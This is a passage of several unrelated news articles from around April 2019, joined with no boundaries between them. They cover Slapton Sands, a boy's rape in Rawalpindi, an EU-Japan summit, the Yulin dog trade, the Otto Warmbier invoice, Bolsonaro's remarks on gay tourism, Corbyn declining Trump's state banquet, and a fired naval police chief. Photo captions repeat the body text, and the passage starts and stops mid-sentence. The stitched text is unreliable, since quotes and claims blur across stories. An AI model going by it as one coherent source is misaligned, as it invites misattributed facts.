deck were engulfed in clouds of blazing fuel from the exploding vehicles. There was no time to launch life rafts and hundreds of servicemen drowned or died of hypothermia in the freezing sea. Ironically, some of them were killed by their life jackets which were wrongly worn around their waists. This turned the men on to their fronts and forced the wearer's face and chest underwater. The Allied commanders initially feared officers who went missing during the attack could have ended up in German hands, where they might reveal the Allied intentions for the D-Day landings. However, the bodies of every one of those officers with top level 'BIGOT' clearance were found and the tactics of D-Day were thought to be secure. Mr Wynn said: 'There was a huge panic until the bodies of the 10 BIGOT clearance level officers' bodies were found because they knew the D-Day plan. 'It is remarkable that after Slapton Sands the Germans did not figure out what the Allies had planned with the invasion.' Disaster Before D-Day, Unravelling the Tragedy at Slapton Sands, by Stephen Wynn, is published by Pen & Sword and costs 15. A police investigation is underway after a 15-year-old schoolboy, who migrated to Pakistan from the US, was abducted and raped by his peers at gunpoint. The teenager, who holds a dual nationality Pakistani-American passport, had arrived to the country more than a year ago to study at a private school in Rawalpindi - a city in the Punjab province of the country. However Rawalpindi police on Thursday commenced legal proceedings after the boy was sexually assaulted by his fellow school peers in an abandoned area of the city. A police investigation is underway in Rawalpindi, Pakistan, after a 15-year-old boy was abducted and raped by students. (Stock image) While two of the suspects have been arrested, Rawalpindi police confirmed that the third schoolboy remains on the run. One of the attackers, believed to be the primary suspect, was a senior student who was studying in Grade 12 at the school. According to police, the victim, who was a Grade eight student, had been shopping at Saddar, a commercial hub in the city, on April 19 when he ran into the three perpetrators. The three suspects led him into an abandoned car park under the ruse of getting ice cream and then tried to assault him. After stifling his mouth with a piece of cloth, the perpetrators then took him to another abandoned area, where they took it in turns to assault the young boy. The 15-year-old by later told police that one boy would hold a gun to his head as the assault was carried out. The young boy said that a gun was held to his head as the perpetrators took it in turns to assault him. (Stock image) He added that the assault was also filmed and used by the gang to coerce him into meeting them again. Following the attack, police launched a hunt for the attackers and arrested two of the three schoolboys under sections 292, 34, 367A and 377 of the Pakistan Penal Code (PPC). DSP Cantt Sardar Babar Mumtaz told DawnNewsTV that a search team has been assembled to seize the third perpetrator of the violent attack. He added that the arrested suspects will be presented in court tomorrow. The victim, who has now undergone a medical examination, will be sent back to his family who currently reside in the US. The European Union (EU) and Japan on Thursday reiterated their "joint support for the Joint Comprehensive Plan of Action (JCPOA)", commonly known as the Iran nuclear deal, despite mounting pressure from the U.S. on the Islamic republic. Japan's Prime Minister Shinzo Abe, center, poses with European Commission President Jean-Claude Juncker, left, and European Council President Donald Tusk during an EU-Japan summit at the European Council building in Brussels, Thursday, April 25, 2019. [Photo: AP] The 26th Summit between the EU and Japan took place in Brussels on Thursday afternoon, with European Commission President Jean-Claude Juncker and European Council President Donald Tusk meeting with Japanese Prime Minister Shinzo Abe. The EU-Japan Summit Joint Statement affirmed their "commitment to contributing jointly to advancing international peace and stability, based on the rule of law and through intensified consultation and coordination". "We reiterate our joint support for the Iran/Joint Comprehensive Plan of Action," the statement said. The JCPOA is an agreement, endorsed by the United Nations Security Council, on the Iranian nuclear program reached in 2015 between Iran, China, France, Russia, United Kingdom, United States, and Germany. The U.S., under President Donald Trump, withdrew from the deal and put sanctions on Iran, albeit with waivers for some economies, including Japan. On Monday, the U.S. announced that it decided not to reissue sanctions waivers allowing major importers to continue buying oil from Iran when they expire in early May. The decision, according to the White House, is intended to bring Iran's oil exports to zero, denying the government its main source of revenue. Hundreds of dogs including many stolen pets are being kept in dim-lit, filthy warehouses in south-western China as meat traders wait to send them to the annual canine-eating festival in Yulin in June, MailOnline can reveal. Volunteers in Sichuan Province have saved hundreds of dogs bound for the slaughterhouse, but many more helpless canines are waiting to endure a lengthy journey before being cruelly killed around summer solstice, animal activists claim. They also accuse the officials of Dazhou, a city of Sichuan, of colluding with meat traders by giving the rescued dogs back to them. Footage provided by Chinese animal activist Du Yufeng shows distressed dogs all standing up and staring at her as she visited a warehouse in Sichuan to rescue the animals in late March A large number of stray dogs and stolen pets are being stored in different cities in Sichuan Province as the Yulin Dog Meat Festival draws near, according to Du Yufeng, the founder of Bo Ai Animal Protection Centre in the Chinese city of Guangyuan. Ms Du told MailOnline that the mountainous province of Sichuan is now the most popular stopping point for meat traders to keep, sell and distribute illegally captured dogs. Many of the dogs are said to be stolen pets as they had collars. At least 300 dogs have been saved by Ms Du and her team from three warehouses in Dazhou, which is 1,350 kilometres (839 miles) from Yulin in southern China. From there, the pooches would need to suffer a 15-hour road journey to Yulin, chained and squeezed in rusty cages, before being killed at the slaughterhouses or markets. A large number of stray dogs and stolen pets are being stored in cities in Sichuan Province as the Yulin Dog Meat Festival draws near, according to Ms Du. She said the province is now the most popular stopping point for traders to keep, sell and transport illegally captured dogs Footage provided by Ms Du, a long-time animal activist, shows hundreds of dogs crammed into a dark warehouse in the Tongchuan District of Dazhou city. What is the Yulin Dog Meat Festival? Some claim that the consumption of dog meat has been observed in Guangxi Province, China, for hundreds of years. However, the activity was not promoted and encouraged until around 30 years ago - first by the dog meat traders, then by the Yulin government for driving tourism. The annual Yulin Dog Meat Festival can be traced back to 2009. The event has drawn waves of criticism from media and animal lovers, with influential figures leading campaigns around the world in a bid to stop it. The local government has stopped organising the festival under pressure, as it is understood, but vendors continue selling dog meat and residents carry on eating it on the summer solstice. Advertisement The distressed animals can be seen all standing up and staring at Ms Du as she visited the warehouse to rescue them on March 25 and 26. According to Ms Du, the local government refused to hand the saved dogs to her organisation to look after. Instead, officials are said to have insisted that they keep the dogs for 21 days for the purpose of 'observation'. But when Ms Du and her volunteers turned up again at the government's appointed shelters, some animals had been moved to secret locations while others being swapped,she said. Another two clips provided by Ms Du capture one of her visits to a shelter. In the videos, the rescued dogs appear terrified as they are shackled to the walls by their neck in a bare room. More than 140 dogs in the Qu County have been 'hidden' by the government while 235 dogs remain in 'observation' in Tongchuan District, it is said. Ms Du noted she and eight other volunteers visited the authority of the Qu County on April 11, urging officials to give the dogs to them, but officials claimed they had distributed the dogs to local farmers to be taken care of. 'In a place where the killing, stocking and selling of dogs is ubiquitous, those dogs that were rescued from traders and then given to farming families are more than likely to fall into the hands of dog traders again,' Ms Du lamented. 'The local authorities protect dog traders,' she then accused. Ms Du claimed the local government had refused to hand the rescued dogs to them and insisted that the animals be kept for 21 days for the purpose of 'observation'. Two other clips provided by the activists show the rescued dogs shackled to the walls by their neck in a shelter More than 140 dogs in the Qu County have been 'hidden' by the government while 235 dogs remain in 'observation' in Tongchuan District, according to Ms Du. Many of the dogs are said to be stolen pets as they had collars; others are believed to be stray dogs captured by traders Ms Du added that more dogs were being transported to over a dozen warehouses in the Pujia Town in Tongchuan. She urged the public to given attention to the matter and put pressure on the local government in order for them to handle the matter transparently and properly. Yulin Dog Meat Festival, held on summer solstice, is a highly controversial food festival in southern China's Guangxi Province. Each year, thousands of dogs are cruelly killed, skinned and cooked with blow-torches before being eaten by the locals. The popular Yulin No. 1 Crispy Dog Meat restaurant prepared 12 tables along the pavement outside with 20 more tables nearby for last year's feasts, local sources reported at the time. It is estimated that 10 million dogs are slaughtered for meat in China annually. People in some other Asian countries, such as Vietnam and South Korea, also have the tradition of eating dogs Yulin Dog Meat Festival, held on summer solstice, is a highly controversial food festival in southern China's Guangxi Province. Sources said the influence and size of the festival had been reduced in recent years thanks to the on-going protest from the public around the world It is estimated that 10 million dogs are slaughtered for meat in China annually. People in some other Asian countries, such as Vietnam and South Korea, also have the tradition of eating dogs. Last year, animal welfare organisation Humane Society International rescued 136 dogs from three underground abattoirs near Yulin ahead of the three-day feasts. They said that workers at the grim slaughterhouses typically killed around 50 dogs every day for human consumption. But the organisation explained that the influence and size of the festival had been reduced in recent years thanks to the protest from the public. While China has laws to safeguard land-based and aquatic wildlife, it currently lacks legislation to protect animal welfare or to prevent cruelty towards animals. In September 2009, animal rights activists and legal experts began circulating a draft Law on the Protection of Animals and in 2010, a draft Law on the Prevention of Cruelty to Animals for the State Council's consideration, according to Human Rights in China, a Chinese non-governmental organisation based in New York. The draft proposes a fine of up to 6,000 yuan (693) and two weeks' detention for those found guilty of animal cruelty, according to China Daily. However till this day, no progress has been made. While the country's first ever legislation protecting animal welfare has yet to be adopted, the increasing cases of animal abandonment and serious cruelty towards animals such as killing of dogs and burning of cats have led to serious resentment within society. News reports Thursday say North Korea surprised an American envoy with a $2 million invoice that it presented the State Department hours before Otto Warmbier was flown from Pyongyang to Ohio in June 2017, but President Donald Trump is denying that any money changed hands Donald Trump denied Friday morning in a tweet that his administration paid North Korea a reported ransom in 2017 for the release of Otto Warmbier, am American who became mortally ill after his arrest in the totalitarian nation. The president did not, however, address a report that North Korea handed a State Department envoy a $2 million invoice for Warmbier's care, with the understanding that the U.S. would pay it later. 'No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else,' Trump wrote Friday. He blasted his predecessor for agreeing to a 5-to-1 prisoner release as a condition of the Taliban's release of former Army Sgt. Bowe Bergdahl in 2014, and complained about a separate transaction that saw a 10-figure payout to Iran in an unrelated release of Americans in Tehran's custody. 'This is not the Obama Administration that paid 1.8 Billion Dollars for four hostages, or gave five terroist hostages plus, who soon went back to battle, for traitor Sgt. Bergdahl!' Trump vented on Twitter, misspelling the word 'terrorist.' A Washington Post report on Thursday concluded that the administration agreed to reimburse Pyongyang for Warmbier's care, but stiffed the rogue nation on the bill after it released the comatose student to U.S. officials. Trump quoted an unnamed American 'chief hostage negotiator' in a second tweet to support his contention that he hadn't paid a ransom for Warmbier. 'President Donald J. Trump is the greatest hostage negotiator that I know of in the history of the United States. 20 hostages, many in impossible circumstances, have been released in last two years. No money was paid. Cheif Hostage Negotiator, USA!' he wrote, misspelling the word 'chief.' White House Press Secretary Sarah Sanders identigfied the author of the quote for DailyMail.com: 'His name is Robert OBrien, the Administrations Special Presidential Envoy for Hostage Affairs.' The administration has not identified who the '20 hostages' are. O'Brien has offered similarly sweeping praise for Trump in the past. Last month in the Oval Office he told reporters that 'the president has had unparalleled success in bringing Americans home without paying concessions, without prisoner exchanges, but through force of will and the goodwill that hes generated around the world.' President Donald Trump tweete don Friday that he didn't pay North Korea for Warmbier's release, but didn't rule out the possibility that his State Department is sitting on an unpaid invoice for $2 million payable to Kim Jong-un's government Trump and Kim have had two face-to-face meetings including this one, pictured in June 2018 The president followed up with a tweet quoting an unnamed 'cheif [sic] hostage negotiator' The North Koreans surprised an American diplomat with a $2 million invoice hours before Warmbier, a University of Virginia student, was flown from Pyongyang to Ohio in June 2017, two people familiar with the matter told the Post. Warmbier died shortly after returning to his home state. He fell ill while he was in a North Korean detention center after being sentence to 15 years of hard labor for stealing a propaganda poster from a hotel. Robert O'Brien, the president's chief hostage negotiator, offered glowing praise for Trump on Friday, as he has in the past If the reported invoice exists, Trump seemed to suggest in September 2018 that it was never paid. He said then that his administration had paid 'nothing' to get American 'hostages' out of North Korea. Warmbier died days after he was released into U.S. custody. An Ohio coroner said Warmbier died from a lack of oxygen and blood to the brain. Pyongyang blamed botulism and ingestion of a sleeping pill and dismissed torture claims. Barack Obama was president at the time of Otto Warmbier's incarceration and his State Department was not successful in freeing him. Months after Obama left office, North Korea agreed to release the student, who arrived home in a vegetative state, to the Trump administration. Fred Warmbier, Otto's father, told the Post that he had not been informed about a hospital bill and said it sounded like a 'ransom' request for his late son. There are conflicting reports as to whether the bill was paid, with the White House declining comment and President Donald Trump saying as recently as September 30 that his administration paid 'nothing' to get American 'hostages' out of North Korea. Warmbier was returned to the US in a vegetative state (pictured) which North Korean authorities blamed on botulism, a rare bacterial infection that can be fatal Warmbier mysteriously fell int o a coma on the day that he was sentenced to 15 years of hard labor in North Korea during a 2016 sightseeing trip gone wrong, and died days after he was released into US custody in 2017. An Ohio coroner said Warmbier died from a lack of oxygen and blood to the brain. Pyongyang blamed botulism and ingestion of a sleeping pill and dismissed torture claims. Warmbier is shown in custody in North Korea Trump tweeted Friday morning that the U.S. did not pay any money for Warmier's release The invoice was reportedly handed to State Department envoy Joseph Yun hours before Warmbier was flown out of Pyongyang in a coma on June 13, 2017. White House officials would not comment on Thursday, after the Post article revealing the payment. 'We do not comment on hostage negotiations, which is why they have been so successful during this administration,' White House Press Secretary Sarah Sanders said. Yun told Reuters he could not comment on diplomatic exchanges, either. But in an interview with CNN on Thursday, he said he was given broad orders to secure Warmbier's release and that he understood the instructions to come directly from Trump. 'Yes, my orders were completely: do whatever you can to get Otto back,' he told CNN, adding that he worked closely with then-Secretary of State Rex Tillerson. Yun said that it was his understanding that in previous releases of U.S. prisoners, money had been exchanged and was justified as 'hospital costs,' but he gave no further details. Scans of Warmbier's brain before his death revealed extensive damage associated with an unexplained trauma that American neurosurgeons were not able to pinpoint. Warmbier died on June 19, 2017, in Cincinnati at the age of 22 after his parents made the decision to remove his feeding tube. Ottos father, Fred Warmbier, said that he had not been informed about any hospital bill and that it sounded like a 'ransom' for his late son. The Parents of Otto Warmbier, Fred and Cindy Warmbier are acknowledged during the State of the Union address in the chamber of the U.S. House of Representatives January 30, 2018 Warmbier traveled to North Korea from China while completing a study abroad program in Hong Kong at the end of 2015, as part of a tour group that included ten other Americans. The group celebrated New Year's Eve in Pyongyang, and at some point during the stay, Warmbier took down a propaganda poster from the wall of his hotel that he planned to take home as a souvenir. He was arrested at Pyongyang airport shortly after, before tearfully confessing on North Korean television six weeks into his detention that he had taken the poster. A court sentenced Warmbier to 15 years in prison with hard labor for his confessed crime. The U.S. State Department said at the time that it was evident that North Korea arrested Warmbier to make a political statement. It wasn't until Trump took office that the U.S. secured Warmbier's release, in June of 2017. North Korean officials claimed several days prior to his return that he'd come down with food-borne botulism that he fought off with a sleeping pill. Experts in the U.S. could find no such evidence, although they said they could not rule it out, and determined that he'd most likely experienced a trauma that led to oxygen deprivation in his brain. After his death, Pyongyang claimed that it had been wrongly accused in a 'smear campaign' and Warmbier's treatment in prison had been nothing but 'humanitarian.' 'Although we had no reason at all to show mercy to such a criminal of the enemy state, we provided him with medical treatments and care with all sincerity on humanitarian basis until his return to the US, considering that his health got worse,' a regime spokesperson said. Trump claimed in 2017, after Warmbier's release, that the boy had been 'tortured beyond belief' and belittled North Korean leader Kim Jong-un as Little Rocket Man. The U.S. passed legislation barring Americans from traveling to North Korea after the student's death, and led a United Nations charge to introduce hefty sanctions on Pyongyang for its illicit nuclear program. In early 2018, the relationship between the U.S. and North Korea began to change when Kim extended an olive branch to the South when the neighboring democracy hosted that year's Winter Olympics. They walked into the Opening Ceremony under one flag. By that summer Trump and Kim were exchanging private letters. They met in person for the first time in Singapore in June of 2018 after Trump hosted a North Korean delegation at the White House for talks on nuclear disarmament. North Korean leader Kim Jong-Un expressed remorse for Warmbier's death, President Donald Trump said after meeting with him in Hanoi The leaders have continued to converse through letters that Trump says turned he and Kim into great friends. 'We had probably the toughest language in the history of diplomacy ... At the beginning, and yet, we became very friendly,' he recalled in Vietnam at the conclusion of their second summit. Prior to the talks in Vietnam, the president called Kim a 'friend' in a tweet. Asked in Hanoi about the message, in the context of Warmbier's death, Trump said, 'I know the Warmbier family very well. I think they're an incredible family. What happened is horrible. I really believe something very bad happened to him, and I don't think that the top leadership knew about it.' Trump noted that while other American hostages came home 'extremely healthy,' it was true that 'Otto came back in a condition that was just, just terrible.' He told the reporter, who'd asked if he confronted Kim about the matter, 'I did speak about it, and I dont believe that he would've allowed that to happen. Just wasnt to his advantage to allow that to happen. 'Those prisons are rough. They're rough places. And bad things happened. But I really dont believe that he was -- I dont believe he knew about it,' the president asserted. Kim expressed remorse for Warmbier's death, Trump revealed. 'He felt badly about it. I did speak to him. He felt very badly.' 'But he knew the case very well, but he knew it later,' the American president explained. 'And, you know, you got a lot of people. A big country. A lot of people. And in those prisons and those camps, you have a lot of people. And some really bad things happened to Otto. Some really, really bad things.' Trump cut the reporter off as he tried to ask a follow-up question about the president's belief that Kim was in the dark. He stated flatly before moving on: 'He tells me that he didnt know about it, and I will take him at his word.' The Warmbier family broke with Trump over his suggestion that Kim didn't know that their son had been mistreated. 'Kim and his evil regime are responsible for the death of our son Otto,' Fred and Cindy Warmbier said in March. 'Kim and his evil regime are responsible for unimaginable cruelty and inhumanity. No excuses or lavish praise can change that.' Trump later said his comments on Warmbier's death were 'misinterpreted,' and he holds North Korea responsible 'of course' for the young man's death. A U.S. court in December ordered North Korea to pay $501 million in damages for the torture and death of Warmbier. Brazilian President Jair Bolsonaro has declared that his country must not become a 'gay tourism paradise'. Bolsonaro, 64, sparked an immediate backlash from the LGBT community for his comments during a breakfast meeting with reporters. He said: 'If you want to come here and have sex with a woman, go for your life. '[But] Brazil can't be a country of the gay world, of gay tourism. We have families.' Brazilian President Jair Bolsonaro said that his country must not become a 'gay tourism paradise' Brazil has a reputation of being welcoming to LGBT people. The city of Rio de Janeiro was once named the best LGBT destination in the world and various Pride events, as well as the famous Carnival, attract millions of people from around the world. The president's comments are the latest in a string of controversial remarks, after he previously said he was 'very proud' to be homophobic. Bolsonaro even once said that he would rather have a dead son than a gay one while also telling openly gay British actor Stephen Fry that 'Brazilian society doesn't like homosexuals.' In another attack, he accused 'homosexual fundamentalists' of brainwashing children to 'become gays and lesbians to satisfy them sexually in the future'. He also once told a female lawmaker she was too ugly to rape, and said the birth of his daughter, after having four sons, was a 'moment of weakness.' And his latest comments have again caused anger in the LGBT community. The president's comments are the latest in a string of controversial remarks, after he previously said he was 'very proud' to be homophobic Congressman and LGBT activist David Miranda told the Guardian: 'This is not a head of statethis is a national disgrace.' Renan Quinalha, lawyer and activist, said that Bolsonaro's remarks give a 'green light to already alarming levels of violence against the LGBT community'. His comments come after he claimed that 1,000 men undergo penis amputations every year in Brazil due to a lack of basic hygiene. Bolsonaro, a former army captain, called the state of affairs 'ridiculous and sad' in a press conference in Brasilia after visiting the Education Ministry. The Brazilian Urology Society confirmed the figure, adding some men are forced to have their genitals removed due to untreatable infections, as well as cancer and complications of HIV. 'In Brazil, we have 1,000 penis amputations a year due to a lack of water and soap,' Bolsonaro said. 'We have to find a way to get out of the bottom of this hole.' Jeremy Corbyn was accused of staggering hypocrisy last night after snubbing the Queens invitation to a state banquet with Donald Trump. Despite his record of meeting terrorists and extremists, the Labour leader yesterday said he would refuse to attend the dinner with Mr Trump at Buckingham Palace in June. In an extraordinary statement, Mr Corbyn accused the US President of engaging in racist and misogynistic rhetoric and of backing climate change denial. He criticised Theresa May for kowtowing to Washington and rolling out the red carpet. Commons Speaker John Bercow, another prominent Trump critic, has also decided to snub the Queens invitation. Last night Mr Corbyns stance triggered a backlash from Tory MPs who said his pathetic gesture made him unfit to be Prime Minister. Several pointed to the list of controversial figures he has sat down with in the past including representatives of the terror groups Hamas and Hezbollah, convicted IRA volunteers, Gerry Adams, President Assad of Syria, as well as President Maduro of Venezuela. Jeremy Corbyn (left) with Sinn Fein's former president Gerry Adams (right) at the House of Commons Donald Trump (pictured today at the National Rifle Association's Annual meeting) will be the Queen's guest during a three-day visit to the UK Jeremy Corbyn (right) also met with Mr Xi Jinping (left) during his state visit to the UK Jeremy Corbyn in Tunisia in October 2014 laying wreaths on the graves of Palestinians in 2014 Former Conservative Party leader Iain Duncan Smith said Mr Corbyn was clearly unfit to lead the country. Jeremy Corbyn dislikes his own country, dislikes the monarchy and dislikes the national anthem, yet he is friends with Mr Maduro of Venezuela, he said. Hypocrisy is the basis of his politics: It shows bad judgment that he refuses to sit down with our closest ally and our head of state. His ideology makes him unfit to be Prime Minister. He will not be missed. This is a pathetic gesture. Jeremy Corbyn today snubbed the Queen's invite to attend a State Banquet for Donald Trump (right today) calling the US President a 'racist and misogynist' The statement from Jeremy Corbyn (above) which outlined that he would welcome a private meeting with President Trump Tom Tugendhat, Tory chairman of the Commons foreign affairs committee, pointed out that Mr Corbyn had attended a state banquet for Chinas President Xi Jinping, who has been accused of human rights abuses, in 2015. Given the people he has broken bread with ... I think its a level of hypocrisy that is really quite staggering, he said. Mr Corbyn (left) arriving for the state banquet at Buckingham Palace in London for President of China Xi Jinping in 2015. He won't be doing the same for Mr Trump Mr Corbyn announced his decision in a statement yesterday, days after it was confirmed that Mr Trump will make a full state visit from June 3-5. The Labour leader said: Theresa May should not be rolling out the red carpet for a state visit to honour a President who rips up vital international treaties, backs climate change denial and uses racist and misogynist rhetoric. Maintaining an important relationship with the US does not require the pomp and ceremony of a state visit. It is disappointing that the Prime Minister has again opted to kowtow to this US administration. He added, however, that he was willing to meet with the President to discuss all matters of interest. It is thought to be unprecedented for a leader of the Opposition to refuse to attend the formal dinner with the head of state of the United Kingdoms closest international ally. Mr Corbyn previously criticised the US President and joined 100,000 protesters who flew a blimp of Mr Trump as a baby when he came to Britain last year. Several Tory MPs last night criticised Mr Corbyns decision. Sir Nicholas Soames, the grandson of Winston Churchill, said: Its reassuringly stupid and very bad manners. After all, the President of the United States, no matter what Corbyns views, or anyone elses, is an official guest of the Queen. Jeremy Corbyn couldn't resist an opportunity to return to his protesting days as he took to the streets along with 100,000 others to demonstrate against President Trump's visit to the country last year Its not at all clever or grown up of him to refuse to attend. But it is true to form for Corbyn. All Corbyns friends are people who are enemies of this country Hamas, the IRA, the Venezuelan government. Lest we forget... he WILL sit down with IRA, Hamas and Hezbollah Mr Corbyn has a long history of meeting killers, terrorist groups and other figures who approve of violence. Hamas Mr Corbyn called the terror group his friends in 2009. Hes also met leaders of the organisation that has carried out a brutal campaign of abductions, torture and unlawful killings against Palestinians it accuses of collaborating with Israel. In 2014 he attended a peace conference in Tunisia, where he laid a wreath near the graves of Palestinian terrorists responsible for the massacre of Jewish athletes at the 1972 Olympics in Munich. The IRA As a newly elected MP in 1983 he invited IRA apologist Gerry Adams to Parliament. The two men met on other occasions during the 1980s, when the IRA was at the height of its terror campaign. He also invited two convicted IRA volunteers to tea in Westminster in 1984, just two weeks after the Brighton bomb, which killed five people at the Tory Party conference. In 1996, the year of the Docklands and Manchester bombings, he again invited suspected IRA terrorists to Parliament. Hezbollah Officials from the Lebanese group, classified by the US government as a terror organisation and which has called for the destruction of Israel, were invited by Mr Corbyn to a meeting in 2009. He said: It will be my pleasure and honour to host an event in Parliament where our friends from Hezbollah will be speaking. Xi Jinping of China In 2015 he attended a state banquet with President Xi Jinping of China, who has been accused of human rights abuses. Prince Charles is believed to have refused to attend over Chinas record. Bashar al-Assad of Syria The Labour leader accepted a free trip to meet President Assad of Syria funded by the Palestinian lobbyists who organised an event at which Jews were blamed for the Holocaust. Nicolas Maduro of Venezuela In 2006, Mr Corbyn shared a platform with the Venezuelan president. Mr Maduro has been accused of a violent crackdown on opponents which has led to hundreds of deaths and bankrupted the oil-rich country. The hardline president has called Mr Corbyn a friend of Venezuela. Advertisement Bob Seely said: This raises serious questions about Jeremy Corbyns fitness to govern when he will snub an invitation from the Queen but is more than happy to have a takeaway with terrorists. Fellow Tory Simon Hart said: The UK relationships with hundreds of countries are with the office (which is permanent) rather than the individual (who isnt). Given the world leaders that Jeremy Corbyn is happy to mix with, it seems odd to exclude our oldest ally. And Conservative MP Andrew Rosindell said: I thinks its wholly wrong that the leader of Her Majestys Opposition is refusing to attend a state banquet hosted by the sovereign. The US is Britains closest ally, whatever your views on Donald Trump. If nothing else, it is a missed opportunity for Mr Corbyn to tell the President of the United States what he thinks. Mr Trump will make his state visit as Britain and the US mark 75 years since D-Day. British taxpayers face an 18million bill to host him. His working visit last year attracted huge protests and additional policing costs ran into the millions. The President and his wife Melania will be guests of the Queen during the three-day visit, although they have not been invited to stay at Buckingham Palace because it is undergoing renovation works. Mr Trump will hold talks with Mrs May at Downing Street and will take part in commemorations in Portsmouth marking the 75th anniversary of the D-Day landings. However, he will not get a carriage ride down The Mall because of security fears. The white tie banquet at the palace, hosted by the Queen, is always one of the key events of any state visit. It is traditionally attended by senior politicians including the Leader of the Opposition and other dignitaries. Invitations for state visits are issued by the Lord Steward, on behalf of The Queen. Buckingham Palace will not confirm the guest list in advance, but there are generally 170 guests at a state banquet. Mr Trumps visit is highly controversial and is expected to attract mass demonstrations. The Presidents opponents have already vowed to bring out the baby blimp - an inflatable caricature depicting Trump as an infant - for the second time in a year. Mr Trump was promised the official trip by Mrs May after he was elected in 2016 but it was postponed amid protests in London against his policies. Mr Bercow has also refused to attend the state banquet and is yet to invite Mr Trump to address MPs, which is traditional when a US President visits Britain. Mr Bercow said in 2017 he was strongly opposed to granting the President the honour of a speech because of his ban on migrants from certain Muslim countries. A spokesman said: Mr Speaker has been invited to the banquet, but he will not be attending. Lib Dem leader Sir Vince Cable has also declined the invitation. The Commons Speaker John Bercow has also been accused of disrespecting Her Majesty by refusing to go to the Buckingham Palace event this summer US President Trump and Melania will enjoy inspecting the troops, lunching with the Queen and then eating off 4,000-piece dinner service at Buckingham Palace state banquet Donald Trump can expect a military welcome, a lavish lunch with the Queen and a banquet at Buckingham Palace during his state visit in June. Details of the ceremonial elements of the visit have yet to be announced by Buckingham Palace, but the visit is likely to follow the traditional format of an official open-air welcome featuring prestigious British regiments, lunch with the Queen and a state banquet. When the couple arrive in London they will be met by the Queen and other members of the Royal Family. This usually takes place on the Horse Guards Parade. To mark the beginning of a state visit, gun salutes are fired from Green Park and the Tower of London. Trump and his wife will be invited to inspect a Guard of Honour before heading back to the Palace as part of a carriage procession, escorted by a large number of soldiers from the Household Cavalry. On the evening of June 3 the state banquet will take place at the Ballroom in Buckingham Palace. Donald Trump and his wife Melania met the Queen at Windsor Castle last summer The Buckingham Palace Ballroom is pictured with 171 guests invited to the last US state visit when Barack and Michelle Obama visited the Queen in May 2011 This is a formal occasion with 150 guests, invited on their cultural, diplomatic or economic link to the USA. Preparations for this dinner can start up to a year in advance, but the bulk of the organising usually takes around five days. Who has visited the UK on a state visit since 2013? 2017, July - King Felipe VI and Queen Letizia, Spain 2015, October - President Xi Jinping and Madame Peny Liyuan, China 2015, March - President Enrique PEna Nieto and Senora Angelica Rivera de Pena, Mexico 2014, October - President Tony Tan Keng Yam and Mrs Tan Keng Yam, Singapore 2014, April - President Michael Higgins and Mrs Sabina Higgins, Ireland 2013, November - President Park Guen-hye, South Korea 2013, April to May - President Khalifa bin Zayed Sultan Al Nahyan, United Arab Emirates Advertisement Before dinner is served the Queen will make a speech and propose a toast to Trump, who will then give his own speech in return. The last US state visit in 2011 when Barack and Michelle Obama visited the Queen saw the palace invite 171 guests to the state banquet. They included Tom Hanks, Kevin Spacey, Tim Burton, as well as then Prime Minister David Cameron, his deputy Nick Clegg and the then Mayor of London Boris Johnson. They dined on lamb, potatoes boulangere and vanilla chocolate. Wines served included Ridgeview Cuvee Merret Fitzrovia Rose 2004 and Chablis Grand Cru Les Clos 2004. During his last visit to the UK Trump stayed at Winfield House, the residence of the US ambassador. The property occupies twelve and half acres on the north-west side of Regent's Park and has the second largest private garden in central London, after Buckingham Palace. He could be staying there again this year as the East Wing of Buckingham Palace is undergoing renovation work. It has not yet been confirmed what Trump will be doing on June 4, but state visits include a meeting with the Prime Minister, Government ministers and the main political parties. The Mall is pictured decorated with Union Jack and USA flags on the Obamas' state visit in 2011 China's President Xi Jingping is pictured getting out of his carriage as guards salute at Buckingham Palace during the last major state visit to the UK in October 2015 Her Majesty and US President Barack Obama chat together during a State Banquet at Buckingham Palace on May 24, 2011 in London Queen Elizabeth II, US President Barack Obama, Prince Charles, First Lady Michelle Obama and Prince Philip during a welcome ceremony at Buckingham Palace for US President Barack Obama President of China Xi Jinping and Britain's Queen Elizabeth II attend a state banquet at Buckingham Palace on October 20, 2015 in London, during his state visit It has not yet been confirmed if Jeremy Corbyn and Sir Vince Cable will be in attendance. Trump could be invited to another luxurious dinner hosted by the Lord Mayor and the City of London Corporation, where he would meet business leaders to discuss the economy and trade relations. One June 5 Trump will attend events in Portsmouth to commemorate the 75th anniversary of the D-Day landings. The gathering on Southsea Common will involve live performances, military displays and tributes to the Allied troops who fought in Normandy, including a flypast of 26 RAF aircraft and at least 11 Royal Navy vessels in the Solent. Chinese and British flags fly on Pall Mall on November 7, 2005 in London, England as the Chinese President, Hu Jintao made a state 3 day visit to the UK Chinese President Xi Jingping is pictured centre with The Queen right and the Duchess of Cambridge left at Buckingham Palace on China's state visit to the UK in October 2015 After the state visit has ended he will travel with Theresa May to Normandy to attend a number of other commemorative events including the inauguration of the British Normandy memorial in Ver-Sur-Mer. The last significant state visit made by a foreign leader was China in October 2015. President Xi Jingping and his wife dined with the Queen and other estemed guests at Buckingham Palace and drank traditional English pints in a pub with then Prime Minister David Cameron. The Mall was adorned with the red and gold of the Chinese flag, which will turn to the red white and blue of the US flag when Trump arrives in June. The last US state visit to the UK was made by former president Barack Obama and his First Lady Michelle in 2011. The police chief at the US Naval Academy in Maryland has been fired following allegations of sexual harassment. Naval Support Activity Annapolis police Chief Lance Royce was fired on Thursday and the department referred all questions regarding his termination to Naval District Washington. NDW spokesperson Ed Zeigler told DailyMail.com that his removal from the civilian position was not related to the sexual misconduct allegations, but remained tight-lipped about the specific reasons for Royce's departure. 'It's a separate issue,' Zeigler said. 'I can tell you that the Navy takes the job of safety and security for our people very seriously. Its our top priority. And that Lance Royce is no longer employed by NSA Annapolis.' Details of the sexual misconduct allegations are not known at this time, but on Friday Zeigler said the investigation proved to be 'inconclusive' and did not result in charges of any kind against Royce. Naval Support Activity Annapolis police Chief Lance Royce of the US Naval Academy in Annapolis, Maryland has been fired following an 'inconclusive' investigation into sexual harassment. The entryway to Naval Support Activity Annapolis is shown An investigation was launched into sexual harassment allegations against Royce earlier this year. Zeigler previously said Royce was on duty during the probe. The Naval Support Activity Annapolis police department is temporarily being headed by Deputy Chief Kahlid Mustafaa, Zeigler said. DailyMail.com is awaiting a reply from the Naval Criminal Intelligence Service seeking additional information related to Royce's firing. Royce did not immediately respond to DailyMail.com's request for comment. Commander David McKinney confirmed the firing of Royce on Thursday. The US Naval Academy, which is located in Annapolis, Maryland, recently hosted a conference that focused on sexual assault and harassment in the military. President Donald Trump spent a chuck of his interview with Fox News Host Sean Hannity doing what he did throughout 2016 